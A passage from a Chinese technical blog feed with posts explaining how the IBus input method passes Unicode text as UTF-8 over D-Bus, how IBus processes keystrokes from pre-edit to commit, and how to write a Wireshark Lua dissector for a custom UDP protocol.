        <id>https://vercel.juzhong.asia/2025/08/输入法输出的是unicode吗/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/输入法输出的是unicode吗/">&lt;p&gt;字符插入到应用程序中的时unicode还是utf8, 还是其他
这是一个非常好的问题！在现代 Linux 桌面环境中（包括 GNOME），当 IBus 将一个中文字符（如“你”）插入到应用程序中时，它传递给应用程序的是 Unicode 码点（code point）的逻辑表示，而底层通信使用的是 UTF-8 编码的字节序列。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们来详细拆解这个过程：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;1-he-xin-gai-nian-qu-fen-unicode-vs-utf-8&quot;&gt;1. 核心概念区分：Unicode vs UTF-8&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;Unicode：是一个字符集（Character Set），它为世界上几乎所有的字符分配一个唯一的数字编号，称为码点（Code Point）。例如：&lt;&#x2F;li&gt;
&lt;li&gt;U+4F60 就是汉字“你”在 Unicode 中的码点。&lt;&#x2F;li&gt;
&lt;li&gt;UTF-8：是一种编码方式（Encoding），用于将 Unicode 码点转换为计算机可以存储和传输的字节序列（bytes）。&lt;&#x2F;li&gt;
&lt;li&gt;U+4F60（“你”）用 UTF-8 编码后，是 3 个字节：0xE4 0xBD 0xA0。
简单说：Unicode 是“身份ID”，UTF-8 是“身份证上的信息如何印刷（字节格式）”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;2-ibus-ru-he-chuan-di-zi-fu&quot;&gt;2. IBus 如何传递字符？&lt;&#x2F;h1&gt;
&lt;p&gt;IBus 在设计上遵循现代国际化标准，它与应用程序的通信逻辑上是基于 Unicode 码点的，但物理传输使用 UTF-8。&lt;&#x2F;p&gt;
&lt;p&gt;具体流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;输入法引擎生成字符：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当你选择“你”这个候选词时，ibus-libpinyin 引擎内部知道这个字符的 Unicode 码点是 U+4F60。&lt;&#x2F;li&gt;
&lt;li&gt;通过 D-Bus 发送 Commit 事件：&lt;&#x2F;li&gt;
&lt;li&gt;IBus 守护进程 (ibus-daemon) 通过 D-Bus 将“提交”指令发送给 ibus-gtk 模块。&lt;&#x2F;li&gt;
&lt;li&gt;D-Bus 协议本身支持字符串类型。当传递文本时，D-Bus 要求字符串必须是 UTF-8 编码的。&lt;&#x2F;li&gt;
&lt;li&gt;因此，U+4F60 会被编码成 UTF-8 字节序列 E4 BD A0，并通过 D-Bus 发送。&lt;&#x2F;li&gt;
&lt;li&gt;GTK 模块接收并处理：&lt;&#x2F;li&gt;
&lt;li&gt;ibus-gtk 模块从 D-Bus 收到这个 UTF-8 编码的字节序列。&lt;&#x2F;li&gt;
&lt;li&gt;GTK 库（如 Pango）内部会将 UTF-8 字节序列解码回 Unicode 码点 U+4F60，并理解这是一个有效的汉字。&lt;&#x2F;li&gt;
&lt;li&gt;插入到应用程序文本缓冲区：&lt;&#x2F;li&gt;
&lt;li&gt;GTK 应用程序（如 gedit）的文本组件（GtkTextView &#x2F; GtkEntry）内部的文本缓冲区（GtkTextBuffer）以 Unicode 码点序列的形式存储文本。&lt;&#x2F;li&gt;
&lt;li&gt;但当这个文本需要保存到文件或通过网络发送时，应用程序通常会将其编码为 UTF-8 字节流写入磁盘或传输。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;3-wei-shen-me-shi-utf-8&quot;&gt;3. 为什么是 UTF-8？&lt;&#x2F;h1&gt;
&lt;p&gt;Linux&#x2F;Unix 传统：POSIX 系统（包括 Linux）长期以来将“字节序列”作为字符串的基本单位。UTF-8 向后兼容 ASCII，是事实上的标准编码。
效率与兼容性：UTF-8 对 ASCII 字符（英文、数字、符号）只需 1 字节，非常高效。同时它能表示所有 Unicode 字符。
D-Bus 规范：D-Bus 明确规定其字符串类型使用 UTF-8 编码。
GTK&#x2F;Qt API：这些工具包的文本处理 API 在接收字符串时，期望的是 UTF-8 编码的 char*（C 语言）或 gchar*。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;white-check-mark-zong-jie&quot;&gt;✅ 总结&lt;&#x2F;h1&gt;
&lt;p&gt;问题	答案&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;IBus 传递给应用程序的是什么？&lt;&#x2F;th&gt;&lt;th&gt;逻辑上是 Unicode 字符（码点），物理上是 UTF-8 编码的字节序列。&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;应用程序内部如何存储？&lt;&#x2F;td&gt;&lt;td&gt;现代应用程序（如 GTK&#x2F;Qt 应用）的文本缓冲区通常以 Unicode 码点序列的形式管理文本。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;最终存储到文件是什么？&lt;&#x2F;td&gt;&lt;td&gt;绝大多数现代 Linux 应用程序（编辑器、终端等）默认以 UTF-8 编码将文本写入文件。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;简而言之： 你可以理解为 IBus 告诉应用程序：“请插入一个 Unicode 字符 U+4F60”，而这个“告诉”的过程，是用 UTF-8 这种“语言”说的。应用程序听懂后，就在自己的 Unicode 文本流中加入这个字符，并在需要时用 UTF-8 格式保存。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>输入法工作原理ibus</title>
        <published>2025-08-01T19:19:26+08:00</published>
        <updated>2025-08-01T19:19:26+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/输入法工作原理ibus/"/>
        <id>https://vercel.juzhong.asia/2025/08/输入法工作原理ibus/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/输入法工作原理ibus/">&lt;p&gt;我们来详细拆解一下 IBus（Intelligent Input Bus）在 Linux 系统中，从你按下键盘按键开始，到最终中文文本被输入到应用程序的完整工作流程。&lt;&#x2F;p&gt;
&lt;p&gt;这是一个涉及操作系统内核、X Window System（或 Wayland）、输入法框架（IBus）、输入法引擎（Engine）和前端应用程序的复杂协作过程。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jigsaw-ibus-de-he-xin-jia-gou&quot;&gt;🧩 IBus 的核心架构&lt;&#x2F;h1&gt;
&lt;p&gt;在深入流程前，先理解 IBus 的关键组件：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;ibus-daemon (IBus 守护进程)：核心后台服务。它管理所有输入法会话、协调通信，并作为“总线”（Bus）连接各个部分。&lt;&#x2F;li&gt;
&lt;li&gt;Input Method Engine (IME)：具体的输入法逻辑实现，如 ibus-pinyin（拼音）、ibus-libpinyin（智能拼音）、ibus-rime（小狼毫&#x2F;鼠须管）等。它负责将按键序列（如 ni hao）转换为候选词（如 你好）。&lt;&#x2F;li&gt;
&lt;li&gt;IBus Panel：用户界面组件。显示候选词列表、状态图标（中&#x2F;英文）、输入提示等。通常是一个悬浮窗口。&lt;&#x2F;li&gt;
&lt;li&gt;IBus GTK&#x2F;Qt Modules：嵌入在 GTK 或 Qt 应用程序中的模块。它们是应用程序与 IBus 守护进程通信的“桥梁”。&lt;&#x2F;li&gt;
&lt;li&gt;X11&#x2F;Wayland Server：负责接收原始的硬件键盘事件。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;abc-xiang-xi-gong-zuo-liu-cheng-cong-an-jian-dao-wen-ben-shu-ru&quot;&gt;🔤 详细工作流程：从按键到文本输入&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jie-duan-1-jian-pan-shu-ru-yu-shi-jian-bu-huo&quot;&gt;阶段 1：键盘输入与事件捕获&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;硬件事件：你按下键盘上的 n 键。&lt;&#x2F;li&gt;
&lt;li&gt;内核处理：键盘驱动将物理信号转换为标准的输入事件（EV_KEY），通过 evdev 接口发送给用户空间。&lt;&#x2F;li&gt;
&lt;li&gt;显示服务器接收：X11 Server（或 Wayland Compositor）从内核读取这个事件。此时，它只是一个原始的“keycode”（物理键码）和“keysym”（逻辑符号，如 n）。&lt;&#x2F;li&gt;
&lt;li&gt;事件分发：显示服务器将这个键盘事件发送给当前焦点窗口（即你正在输入的程序，比如 gedit）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;jie-duan-2-ibus-jie-ru-yu-yu-bian-ji-pre-edit&quot;&gt;阶段 2：IBus 介入与预编辑（Pre-edit）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;IBus 模块拦截：由于你之前已将 IBus 设置为输入法框架，gedit（GTK 应用）加载了 ibus-gtk 模块。这个模块拦截了显示服务器发来的键盘事件，而不是直接让 gedit 处理。&lt;&#x2F;li&gt;
&lt;li&gt;事件转发给 IBus 守护进程：ibus-gtk 模块将这个键盘事件（n）通过 D-Bus 发送给 ibus-daemon。&lt;&#x2F;li&gt;
&lt;li&gt;守护进程分发给引擎：ibus-daemon 收到事件后，根据当前激活的输入法会话（Session），将其转发给对应的 Input Method Engine（例如 ibus-libpinyin）。&lt;&#x2F;li&gt;
&lt;li&gt;引擎处理与预编辑：
ibus-libpinyin 引擎接收到 n。
它判断当前处于“拼音输入状态”。
引擎将 n 添加到当前的“预编辑文本”（Pre-edit String）中。预编辑文本是用户正在输入但尚未确认的拼音序列。
引擎立即计算可能的候选词（虽然 n 单独一个字母候选词很多，但引擎会开始准备）。
引擎通过 ibus-daemon 将预编辑状态信息（包括预编辑文本 n、文本属性如颜色&#x2F;下划线）发送回 ibus-gtk 模块。&lt;&#x2F;li&gt;
&lt;li&gt;前端显示预编辑：
ibus-gtk 模块收到预编辑信息。
它通知 gedit 在光标位置临时显示预编辑文本 n（通常带下划线或特殊颜色）。
同时，ibus-daemon 通知 IBus Panel 显示候选词列表（可能显示 n 开头的词，如“你”、“那”、“呢”等）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;jie-duan-3-ji-xu-shu-ru-yu-hou-xuan-ci-sheng-cheng&quot;&gt;阶段 3：继续输入与候选词生成&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;输入 i：你按下 i 键。&lt;&#x2F;li&gt;
&lt;li&gt;重复阶段2流程：
&lt;ul&gt;
&lt;li&gt;事件被 ibus-gtk 拦截。&lt;&#x2F;li&gt;
&lt;li&gt;通过 D-Bus 发送给 ibus-daemon。&lt;&#x2F;li&gt;
&lt;li&gt;转发给 ibus-libpinyin 引擎。&lt;&#x2F;li&gt;
&lt;li&gt;引擎将 i 追加到预编辑文本，现在是 ni。&lt;&#x2F;li&gt;
&lt;li&gt;引擎重新计算候选词（你、呢、泥、拟 等）。&lt;&#x2F;li&gt;
&lt;li&gt;ibus-daemon 将新的预编辑文本 ni 和更新的候选词列表发送给 ibus-gtk 和 IBus Panel。&lt;&#x2F;li&gt;
&lt;li&gt;gedit 更新显示为 ni（带下划线），Panel 更新候选词。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;jie-duan-4-xuan-ci-yu-que-ren-shu-ru-commit&quot;&gt;阶段 4：选词与确认输入（Commit）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;选择候选词：你按下 空格键 或数字键 1 来选择第一个候选词“你”。&lt;&#x2F;li&gt;
&lt;li&gt;引擎确认文本：
ibus-libpinyin 引擎收到 空格 事件。
它识别为“确认&#x2F;上屏”指令。
引擎将当前选中的候选词 “你” 标记为“已提交文本”（Committed Text）。
引擎清空预编辑状态。
引擎通过 ibus-daemon 向 ibus-gtk 模块发送一个 “Commit” 事件，内容是 Unicode 字符 “你”。&lt;&#x2F;li&gt;
&lt;li&gt;前端接收并显示最终文本：
ibus-gtk 模块收到 “Commit” 事件。
它停止显示预编辑文本。
它将真正的文本 “你” 插入到 gedit 的文本缓冲区中的光标位置。
gedit 正常渲染这个字符，就像你直接按了一个“你”键一样。&lt;&#x2F;li&gt;
&lt;li&gt;状态更新：ibus-daemon 通知 Panel 隐藏候选词列表。输入法回到初始状态，等待下一次输入。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;jie-duan-5-zhi-jie-shu-ru-ying-wen-fu-hao&quot;&gt;阶段 5：直接输入（英文&#x2F;符号）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;切换到英文：你按下 Shift 键（假设设置为中英文切换键）。&lt;&#x2F;li&gt;
&lt;li&gt;引擎处理切换：
ibus-libpinyin 引擎收到 Shift 事件。
它切换到“英文输入模式”。
引擎向 ibus-daemon 发送一个 “Process Key Event” 指令，意思是“这个键不需要我处理，请原样传递给应用程序”。&lt;&#x2F;li&gt;
&lt;li&gt;事件透传：
ibus-daemon 将“透传”指令告知 ibus-gtk 模块。
ibus-gtk 模块不再拦截后续的键盘事件（如 h, e, l, l, o）。
这些事件直接由 gedit 处理，输入英文 “hello”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bar-chart-zong-jie-shu-ju-liu-tu&quot;&gt;📊 总结：数据流图&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;[键盘] 
  ↓ (硬件事件)
[内核 (evdev)] 
  ↓ 
[X11&amp;#x2F;Wayland Server] 
  ↓ (键盘事件)
[gedit (GTK App)] 
  ↓ (被拦截)
[ibus-gtk 模块] ←→ D-Bus ←→ [ibus-daemon] ←→ [Input Method Engine (e.g., ibus-libpinyin)]
  ↑ (预编辑&amp;#x2F;Commit)        ↑ (管理会话)        ↑ (处理逻辑)
  |                         |                   |
  ↓ (显示预编辑)            ↓ (显示Panel)       ↓ (生成候选词)
[gedit 显示 ni___]     [IBus Panel 显示 候选词]  [引擎内部状态]
  ↑
[用户按 空格]
  ↓
[引擎 Commit &amp;quot;你&amp;quot;]
  ↓
[ibus-gtk 模块]
  ↓ (插入文本)
[gedit 显示 &amp;quot;你&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;key-guan-jian-dian&quot;&gt;🔑 关键点&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;拦截与代理：IBus 的核心是“拦截”原始键盘事件，自己处理（预编辑、候选），处理完再把结果“代理”给应用程序。&lt;&#x2F;li&gt;
&lt;li&gt;D-Bus 通信：ibus-daemon 作为中心枢纽，使用 D-Bus 与引擎、Panel、GTK&#x2F;Qt 模块通信。&lt;&#x2F;li&gt;
&lt;li&gt;预编辑 (Pre-edit)：这是输入法能显示带下划线的拼音的关键。&lt;&#x2F;li&gt;
&lt;li&gt;Commit (提交)：这是候选词变成最终文本的关键步骤。&lt;&#x2F;li&gt;
&lt;li&gt;透传 (Pass-through)：在英文模式或某些快捷键下，IBus 会让事件直接到达应用。&lt;&#x2F;li&gt;
&lt;li&gt;理解这个流程，有助于你在配置输入法或排查问题（如候选词不出现、无法输入中文）时，能更精准地定位是哪个环节出了问题（是守护进程没启动？引擎没加载？模块没加载？快捷键冲突？）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>wireshark lua api - 协议解析</title>
        <published>2025-07-31T00:00:00+00:00</published>
        <updated>2025-07-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/wireshark-lua-api-协议解析/"/>
        <id>https://vercel.juzhong.asia/obsidian/wireshark-lua-api-协议解析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/wireshark-lua-api-协议解析/">&lt;h1 id=&quot;wireshark-lua-api-xie-yi-jie-xi&quot;&gt;wireshark lua api - 协议解析&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;wireshark-lua-custom-protocol.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-bei-jing&quot;&gt;1. 背景&lt;&#x2F;h2&gt;
&lt;p&gt;wireshark是一个分析报文的强大工具，它已经内置了非常多类型的报文解析，对于我们分析常见的报文非常有用。但是，越来越多的公司倾向于自研协议，这些协议没有被wireshark默认支持，因此如果我们要通过wireshark来高效地分析这些协议，就需要自定义解析。&lt;&#x2F;p&gt;
&lt;p&gt;今天，我们就来聊聊，如何通过lua来定义报文格式，让wireshark能够支持各种我们自定义的协议格式，将协议解析成我们能够理解与分析的形式，并进行过滤分析。&lt;&#x2F;p&gt;
&lt;p&gt;本文作为一篇入门的文章，如果要深入学习，我建议读者在阅读完本文后，再去wireshark页面，去全面了解下&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.wireshark.org&#x2F;docs&#x2F;wsdg_html_chunked&#x2F;wsluarm_modules.html&quot;&gt;Wireshark&#x27;s Lua API Reference Manual&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-luajie-xi-xiao-shi-niu-dao&quot;&gt;2. lua解析小试牛刀&lt;&#x2F;h2&gt;
&lt;p&gt;在深入之前，我们先小试牛刀，来实现一个入门的协议解析。&lt;&#x2F;p&gt;
&lt;p&gt;假如，我们设计了一个协议叫&lt;code&gt;Foo Protocol&lt;&#x2F;code&gt;，属于一个基于UDP的自定义协议，我们的协议总是会占用9999端口。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;da-hao-kuang-jia&quot;&gt;搭好框架&lt;&#x2F;h3&gt;
&lt;p&gt;在了解细节前，我们先搭好框架。整个解析的框架代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- file: foo.lua

-- 创建一个协议
local foo_protocol = Proto(&amp;quot;FooBar&amp;quot;, &amp;quot;Foo Protocol&amp;quot;)

foo_protocol.fields = {
-- 该协议支持的所有字段
}

-- 协议解析方法
function foo_protocol.dissector(buffer, pinfo, tree)
-- 协议解析
end

local udp_table = DissectorTable.get(&amp;quot;udp.port&amp;quot;)
-- 方式1：遇到端口为9999的，自动解析为foo protocol
udp_table:add(&amp;quot;9999&amp;quot;,foo_protocol)
-- 方式2：用add_for_decode_as，可以在界面上支持“Decode As”
udp_table:add_for_decode_as(foo_protocol)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;框架搭好后，我们把文件添加到配置文件加里面，并且在init.lua（如果没有，请创建）中增加调用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- file: init.lua
dofile(&amp;quot;foo.lua&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;lua脚本放哪？可以打开wireshark，About Wireshark &amp;gt; Folders &amp;gt; Personal Configuration，这个是个人配置，放在这里就好了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;wireshark-personal-config-folder.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;来，让我们用wireshark打开一个抓包文件，然后选择需要解的包，Decode As，如下，就可以用我们自定义的方式解析了。当然，现在我们没有做任何解析。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;wireshark-decode-as-dialog.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;feng-fu-xi-jie&quot;&gt;丰富细节&lt;&#x2F;h3&gt;
&lt;p&gt;作为foo protocol的设计者，我们擅长自研，借鉴了rtp协议，创造了我们的foo协议，遥遥领先。在wireshark里面解析foo协议，也得替换掉，不能露馅。&lt;&#x2F;p&gt;
&lt;p&gt;我们先定义好，这个协议里面所有的定长字段：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- 过滤名称为ver，显示为十进制，0xc0表示取uint8的最高两位
rtp_ver = ProtoField.uint8(&amp;quot;ver&amp;quot;, &amp;quot;rtp version&amp;quot;, base.DEC, nil, 0xc0)
rtp_pad = ProtoField.uint8(&amp;quot;padding&amp;quot;, &amp;quot;rtp padding&amp;quot;, base.DEC, nil, 0x20)
rtp_ext = ProtoField.uint8(&amp;quot;ext&amp;quot;, &amp;quot;rtp extension&amp;quot;, base.DEC, nil, 0x10)
rtp_cc = ProtoField.uint8(&amp;quot;CSRCcount&amp;quot;, &amp;quot;csrc count&amp;quot;, base.DEC, nil, 0x0f)
rtp_marker = ProtoField.uint8(&amp;quot;rtp_marker&amp;quot;, &amp;quot;rtp marker&amp;quot;, base.DEC, nil, 0x80)
rtp_pt = ProtoField.uint8(&amp;quot;payloadtype&amp;quot;, &amp;quot;rtp payload type&amp;quot;, base.DEC, nil, 0x7f)
rtp_seq = ProtoField.uint16(&amp;quot;sequencenumber&amp;quot;, &amp;quot;rtp seq&amp;quot;, base.DEC)

-- 上面的字段需要增加到协议的表里面，否则不支持直接add
foo_protocol.fields = {
    rtp_ver,
    rtp_pad,
    rtp_ext,
    rtp_cc,
    rtp_marker,
    rtp_pt,
    rtp_seq
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解析方法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;function foo_protocol.dissector(buffer, pinfo, tree)
-- 协议解析
    local foo_tree = tree:add(foo_protocol, buffer(), &amp;quot;FooBar Protocol&amp;quot;)

    -- 增加一个子节点, 对应第一个字节:FooBar Protocol&amp;gt;first byte&amp;gt;...
    -- 因为这里的字段有定义过，因此只需要给字段变量，内存范围即可
    local first_byte_tree = foo_tree:add(buffer(0, 1), &amp;quot;first byte&amp;quot;)
    first_byte_tree:add_le(rtp_ver, buffer(0, 1))
    first_byte_tree:add_le(rtp_pad, buffer(0, 1))
    first_byte_tree:add_le(rtp_ext, buffer(0, 1))
    first_byte_tree:add_le(rtp_cc, buffer(0, 1))

    -- 增加一个子节点，对应第二个字节：FooBar Protocol&amp;gt;second byte&amp;gt;...
    local second_byte_tree = foo_tree:add(buffer(1, 1), &amp;quot;second byte&amp;quot;)
    second_byte_tree:add_le(rtp_marker, buffer(1, 1))
    second_byte_tree:add_le(rtp_pt, buffer(1, 1))

    -- 剩下的暂时都加入到一个父节点里面
    foo_tree:add_le(rtp_seq, buffer(2, 2))

    -- 自定义解析，可以用于变长编码解析
    -- 对于ssrc，我们不去定义字段，而是在这里动态解析为uint，需要我们自己去控制显示
    foo_tree:add_le(buffer(4, 4), &amp;quot;seq:&amp;quot;..buffer(4, 4):uint())

    -- 剩下的留给大家自己实现
    foo_tree:add(buffer(8), &amp;quot;all payloads...&amp;quot;)
end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是，我们就完成了大部分的协议的解析了，可以将内存与协议映射，并且按照层级结构显示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;wireshark-lua-dissector-tree.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面是不是很简单？基于这些信息，你就可以写一个更复杂的协议解析了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-shen-ru-wireshark-lua-api&quot;&gt;3. 深入wireshark &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=250216080&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=lua+api&amp;amp;zhida_source=entity&quot;&gt;lua api&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;为了让牛马们更好地玩wireshark，必须要深入了解wireshark的lua api。这个章节，我们将从原理上介绍。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xie-yi-fen-ceng-jie-xi&quot;&gt;协议分层解析&lt;&#x2F;h3&gt;
&lt;p&gt;wireshark将报文从二进制解析成我们能够理解的方式，并在UI中以层级的树形方式，呈现给我们，让我们更快地理解数据；结构化的数据，可以在wireshark中进行过滤分析，可视化流量分析等等。如下图所示，就是一个RTP的分层协议分析：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;wireshark-rtp-protocol-tree.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们都知道协议是嵌套的，udp可以嵌套rtp，rtp还可以嵌套h264等。我们的foo协议，同样可以携带h264码流。因此，在foo解析完成后，还需要对payload进行编码的解析。如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- 获取h264解析协议，从buffer的offset字节开始解析为h264，并添加到foo_tree里面
local dissector = Dissector.get(&amp;quot;h264&amp;quot;)
dissector:call(buffer(offset):tvb(), pinfo, foo_tree)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dissectoryu-dissector-table&quot;&gt;dissector与&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=250216080&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=dissector+table&amp;amp;zhida_source=entity&quot;&gt;dissector table&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在wireshark分析数据，需要理解的最基础的概念就是dissector，即报文解析器。它的功能是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;输入一段buffer，将buffer解析成结构化方式，并添加的解析树中，可用于可视化以及过滤等。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;解析器(dissector)通常会被添加到dissector table中。一个表对应一个上层协议的过滤条件。&lt;&#x2F;p&gt;
&lt;p&gt;在wireshark里面，协议解析是&lt;strong&gt;逐层&lt;&#x2F;strong&gt;解析的。比如，对于在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=250216080&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=UDP%E5%8D%8F%E8%AE%AE&amp;amp;zhida_source=entity&quot;&gt;UDP协议&lt;&#x2F;a&gt;上传输的RTP报文，需要按照ethernet、IP、UDP、RTP逐层解析。这些协议是嵌套的，每一个协议都有一个dissector table，在当前层协议解析完成后，可以调用这个表里面的协议继续解析。在这个表里面的协议，支持&lt;code&gt;decode as&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;默认配置下，UDP的dissector table中就存在RTP协议，支持用户decode as为RTP。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;wireshark-dissector-table.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过&lt;code&gt;DissectorTable.get(&quot;udp.port&quot;):add(&quot;9999&quot;,foo_protocol)&lt;&#x2F;code&gt;，可以将foo_protocol这个协议，添加到udp的dissector table中，触发foo协议解析的条件是&lt;code&gt;udp.port == 9999&lt;&#x2F;code&gt;。 通过&lt;code&gt;DissectorTable.get(&quot;udp.port&quot;):add_for_decode_as(foo_protocol)&lt;&#x2F;code&gt;，将对应udp端口的报文decode as这个foo协议，并且会将这条规则加入dissector table中。 dissector table可以从上面查询到。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-duan-yu-jie-xi-shu&quot;&gt;字段与解析树&lt;&#x2F;h3&gt;
&lt;p&gt;我们知道，wireshark在界面上，以树行方式呈现协议结构。在lua代码中，用TreeItem来描述这个树以及树的节点。而用字段（Field）将变量与报文内存做映射。&lt;&#x2F;p&gt;
&lt;p&gt;在解析过程中，我们将内存映射为字段（Field），并将字段绑定到TreeItem，同时构建出一颗协议解析树。这就是整个过程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dissector-post-dissector-tap&quot;&gt;dissector、post dissector、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=250216080&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=tap&amp;amp;zhida_source=entity&quot;&gt;tap&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
